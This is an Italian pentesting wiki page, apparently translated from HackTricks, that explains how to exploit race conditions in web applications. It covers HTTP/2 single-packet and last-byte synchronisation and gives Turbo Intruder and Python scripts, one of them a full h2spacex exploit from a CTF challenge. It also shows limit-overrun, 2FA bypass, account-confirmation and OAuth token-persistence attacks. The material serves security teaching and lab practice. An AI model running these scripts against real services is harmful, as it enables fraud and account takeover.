# Condizione di Gara

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> [!WARNING]
> Per ottenere una comprensione approfondita di questa tecnica, controlla il rapporto originale in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)

## Migliorare gli Attacchi di Condizione di Gara

L'ostacolo principale nel sfruttare le condizioni di gara è assicurarsi che più richieste vengano gestite contemporaneamente, con **pochissima differenza nei loro tempi di elaborazione—idealmente, meno di 1ms**.

Qui puoi trovare alcune tecniche per Sincronizzare le Richieste:

#### Attacco a Pacchetto Singolo HTTP/2 vs. Sincronizzazione dell'Ultimo Byte HTTP/1.1

- **HTTP/2**: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto del jitter di rete. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per un exploit di condizione di gara coerente.
- **HTTP/1.1 'Sincronizzazione dell'Ultimo Byte'**: Consente di pre-inviare la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento, che viene poi inviato insieme, raggiungendo simultaneamente il server.

**Preparazione per la Sincronizzazione dell'Ultimo Byte** prevede:

1. Inviare intestazioni e dati del corpo meno l'ultimo byte senza terminare il flusso.
2. Pausare per 100ms dopo l'invio iniziale.
3. Disabilitare TCP_NODELAY per utilizzare l'algoritmo di Nagle per raggruppare i frame finali.
4. Eseguire un ping per riscaldare la connessione.

L'invio successivo dei frame trattenuti dovrebbe risultare nella loro arrivo in un singolo pacchetto, verificabile tramite Wireshark. Questo metodo non si applica ai file statici, che non sono tipicamente coinvolti negli attacchi di RC.

### Adattarsi all'Architettura del Server

Comprendere l'architettura del bersaglio è cruciale. I server front-end potrebbero instradare le richieste in modo diverso, influenzando i tempi. Il riscaldamento preventivo della connessione lato server, attraverso richieste insignificanti, potrebbe normalizzare i tempi di richiesta.

#### Gestire il Blocco Basato su Sessione

Framework come il gestore di sessioni di PHP serializzano le richieste per sessione, potenzialmente oscurando le vulnerabilità. Utilizzare token di sessione diversi per ogni richiesta può eludere questo problema.

#### Superare i Limiti di Velocità o Risorse

Se il riscaldamento della connessione non è efficace, attivare intenzionalmente i ritardi dei limiti di velocità o risorse dei server web attraverso un'inondazione di richieste fittizie potrebbe facilitare l'attacco a pacchetto singolo inducendo un ritardo lato server favorevole alle condizioni di gara.

## Esempi di Attacco

- **Tubo Intruder - attacco a pacchetto singolo HTTP2 (1 endpoint)**: Puoi inviare la richiesta a **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), puoi cambiare nella richiesta il valore che vuoi forzare per **`%s`** come in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e poi selezionare il **`examples/race-single-packer-attack.py`** dal menu a discesa:

<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>

Se intendi **inviare valori diversi**, potresti modificare il codice con questo che utilizza una wordlist dagli appunti:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> Se il web non supporta HTTP2 (solo HTTP1.1) usa `Engine.THREADED` o `Engine.BURP` invece di `Engine.BURP2`.

- **Tubo Intruder - attacco a pacchetto singolo HTTP2 (Diversi endpoint)**: Nel caso tu debba inviare una richiesta a 1 endpoint e poi più richieste ad altri endpoint per attivare il RCE, puoi modificare lo script `race-single-packet-attack.py` con qualcosa come:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- È disponibile anche in **Repeater** tramite la nuova opzione '**Invia gruppo in parallelo**' in Burp Suite.
- Per **limit-overrun** potresti semplicemente aggiungere **la stessa richiesta 50 volte** nel gruppo.
- Per **connection warming**, potresti **aggiungere** all'**inizio** del **gruppo** alcune **richieste** a una parte non statica del server web.
- Per **delaying** il processo **tra** l'elaborazione **di una richiesta e un'altra** in 2 passaggi sottostanti, potresti **aggiungere richieste extra tra** entrambe le richieste.
- Per un **multi-endpoint** RC potresti iniziare a inviare la **richiesta** che **va allo stato nascosto** e poi **50 richieste** subito dopo che **sfruttano lo stato nascosto**.

<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>

- **Script python automatizzato**: L'obiettivo di questo script è cambiare l'email di un utente mentre la verifica continua fino a quando il token di verifica della nuova email arriva all'ultima email (questo perché nel codice si vedeva un RC dove era possibile modificare un'email ma avere la verifica inviata a quella vecchia perché la variabile che indicava l'email era già popolata con la prima).\
Quando la parola "objetivo" viene trovata nelle email ricevute sappiamo di aver ricevuto il token di verifica dell'email cambiata e concludiamo l'attacco.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)
```
### Migliorare l'Attacco a Pacchetto Singolo

Nella ricerca originale si spiega che questo attacco ha un limite di 1.500 byte. Tuttavia, in [**questo post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), è stato spiegato come sia possibile estendere il limite di 1.500 byte dell'attacco a pacchetto singolo al **limite di finestra di 65.535 B di TCP utilizzando la frammentazione a livello IP** (dividendo un singolo pacchetto in più pacchetti IP) e inviandoli in ordine diverso, consentendo di prevenire il riassemblaggio del pacchetto fino a quando tutti i frammenti non raggiungono il server. Questa tecnica ha permesso al ricercatore di inviare 10.000 richieste in circa 166 ms.&#x20;

Nota che, sebbene questo miglioramento renda l'attacco più affidabile in RC che richiede che centinaia/migliaia di pacchetti arrivino contemporaneamente, potrebbe anche avere alcune limitazioni software. Alcuni server HTTP popolari come Apache, Nginx e Go hanno un'impostazione rigorosa `SETTINGS_MAX_CONCURRENT_STREAMS` di 100, 128 e 250. Tuttavia, altri come NodeJS e nghttp2 non hanno limiti.\
Questo significa fondamentalmente che Apache considererà solo 100 connessioni HTTP da una singola connessione TCP (limitando questo attacco RC).

Puoi trovare alcuni esempi utilizzando questa tecnica nel repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).

## Raw BF

Prima della ricerca precedente, questi erano alcuni payload utilizzati che cercavano semplicemente di inviare i pacchetti il più velocemente possibile per causare un RC.

- **Repeater:** Controlla gli esempi della sezione precedente.
- **Intruder**: Invia la **richiesta** a **Intruder**, imposta il **numero di thread** a **30** all'interno del **menu Opzioni** e seleziona come payload **Null payloads** e genera **30.**
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
```
- **Python - asyncio**
```python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())
```
## **RC Methodology**

### Limit-overrun / TOCTOU

Questo è il tipo più basilare di race condition dove **vulnerabilità** che **appaiono** in luoghi che **limitano il numero di volte in cui puoi eseguire un'azione**. Come usare lo stesso codice sconto in un negozio web più volte. Un esempio molto semplice può essere trovato in [**questo report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o in [**questo bug**](https://hackerone.com/reports/759247)**.**

Ci sono molte variazioni di questo tipo di attacco, tra cui:

- Riscuotere una carta regalo più volte
- Valutare un prodotto più volte
- Prelevare o trasferire contante in eccesso rispetto al saldo del tuo conto
- Riutilizzare una singola soluzione CAPTCHA
- Bypassare un limite di velocità anti-brute-force

### **Hidden substates**

Sfruttare condizioni di gara complesse spesso comporta approfittare di brevi opportunità per interagire con sottostati di macchina nascosti o **non intenzionali**. Ecco come affrontare questo:

1. **Identificare Sottostati Nascosti Potenziali**
- Inizia individuando endpoint che modificano o interagiscono con dati critici, come profili utente o processi di reset della password. Concentrati su:
- **Storage**: Preferisci endpoint che manipolano dati persistenti lato server rispetto a quelli che gestiscono dati lato client.
- **Action**: Cerca operazioni che alterano dati esistenti, che sono più propense a creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati.
- **Keying**: Attacchi di successo di solito coinvolgono operazioni chiave sullo stesso identificatore, ad es. nome utente o token di reset.
2. **Condurre Prove Iniziali**
- Testa gli endpoint identificati con attacchi di race condition, osservando eventuali deviazioni dai risultati attesi. Risposte inaspettate o cambiamenti nel comportamento dell'applicazione possono segnalare una vulnerabilità.
3. **Dimostrare la Vulnerabilità**
- Riduci l'attacco al numero minimo di richieste necessarie per sfruttare la vulnerabilità, spesso solo due. Questo passaggio potrebbe richiedere più tentativi o automazione a causa del tempismo preciso coinvolto.

### Attacchi Sensibili al Tempo

La precisione nel temporizzare le richieste può rivelare vulnerabilità, specialmente quando metodi prevedibili come i timestamp sono utilizzati per i token di sicurezza. Ad esempio, generare token di reset della password basati su timestamp potrebbe consentire token identici per richieste simultanee.

**Per Sfruttare:**

- Usa un tempismo preciso, come un attacco a pacchetto singolo, per effettuare richieste di reset della password simultanee. Token identici indicano una vulnerabilità.

**Esempio:**

- Richiedi due token di reset della password contemporaneamente e confrontali. Token corrispondenti suggeriscono un difetto nella generazione dei token.

**Controlla questo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **per provare questo.**

## Casi studio sugli Sottostati Nascosti

### Paga & aggiungi un articolo

Controlla questo [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) per vedere come **pagare** in un negozio e **aggiungere un extra** articolo che **non dovrai pagare**.

### Conferma altre email

L'idea è di **verificare un indirizzo email e cambiarlo in un altro contemporaneamente** per scoprire se la piattaforma verifica il nuovo indirizzo cambiato.

### Cambia email in 2 indirizzi email basati su Cookie

Secondo [**questa ricerca**](https://portswigger.net/research/smashing-the-state-machine) Gitlab era vulnerabile a un takeover in questo modo perché potrebbe **inviare** il **token di verifica email di un'email all'altra email**.

**Controlla questo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **per provare questo.**

### Stati Nascosti del Database / Bypass di Conferma

Se **2 scritture diverse** vengono utilizzate per **aggiungere** **informazioni** all'interno di un **database**, c'è una piccola porzione di tempo in cui **solo i primi dati sono stati scritti** all'interno del database. Ad esempio, quando si crea un utente, il **nome utente** e la **password** potrebbero essere **scritti** e **poi il token** per confermare l'account appena creato viene scritto. Questo significa che per un breve periodo il **token per confermare un account è nullo**.

Pertanto, **registrare un account e inviare diverse richieste con un token vuoto** (`token=` o `token[]=` o qualsiasi altra variazione) per confermare l'account immediatamente potrebbe consentire di c**onfermare un account** dove non controlli l'email.

**Controlla questo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **per provare questo.**

### Bypass 2FA

Il seguente pseudo-codice è vulnerabile a una race condition perché in un tempo molto breve il **2FA non è applicato** mentre la sessione viene creata:
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### OAuth2 persistenza eterna

Ci sono diversi [**fornitori OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Questi servizi ti permetteranno di creare un'applicazione e autenticare gli utenti che il fornitore ha registrato. Per farlo, il **client** dovrà **permettere alla tua applicazione** di accedere ad alcuni dei loro dati all'interno del **fornitore OAUth**.\
Fino a qui, è solo un comune accesso con google/linkedin/github... dove ti viene mostrata una pagina che dice: "_L'applicazione \<InsertCoolName> vuole accedere alle tue informazioni, vuoi permetterlo?_"

#### Race Condition in `authorization_code`

Il **problema** si presenta quando **lo accetti** e invia automaticamente un **`authorization_code`** all'applicazione malevola. Poi, questa **applicazione sfrutta una Race Condition nel fornitore di servizi OAUth per generare più di un AT/RT** (_Authentication Token/Refresh Token_) dal **`authorization_code`** per il tuo account. Fondamentalmente, sfrutterà il fatto che hai accettato l'applicazione per accedere ai tuoi dati per **creare diversi account**. Poi, se **smetti di permettere all'applicazione di accedere ai tuoi dati, una coppia di AT/RT verrà eliminata, ma le altre rimarranno valide**.

#### Race Condition in `Refresh Token`

Una volta che hai **ottenuto un RT valido**, potresti provare a **sfruttarlo per generare diversi AT/RT** e **anche se l'utente annulla i permessi** per l'applicazione malevola di accedere ai suoi dati, **diversi RT rimarranno validi.**

## **RC in WebSockets**

In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) puoi trovare un PoC in Java per inviare messaggi websocket in **parallelo** per sfruttare **Race Conditions anche nei Web Sockets**.

## Riferimenti

- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
- [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)

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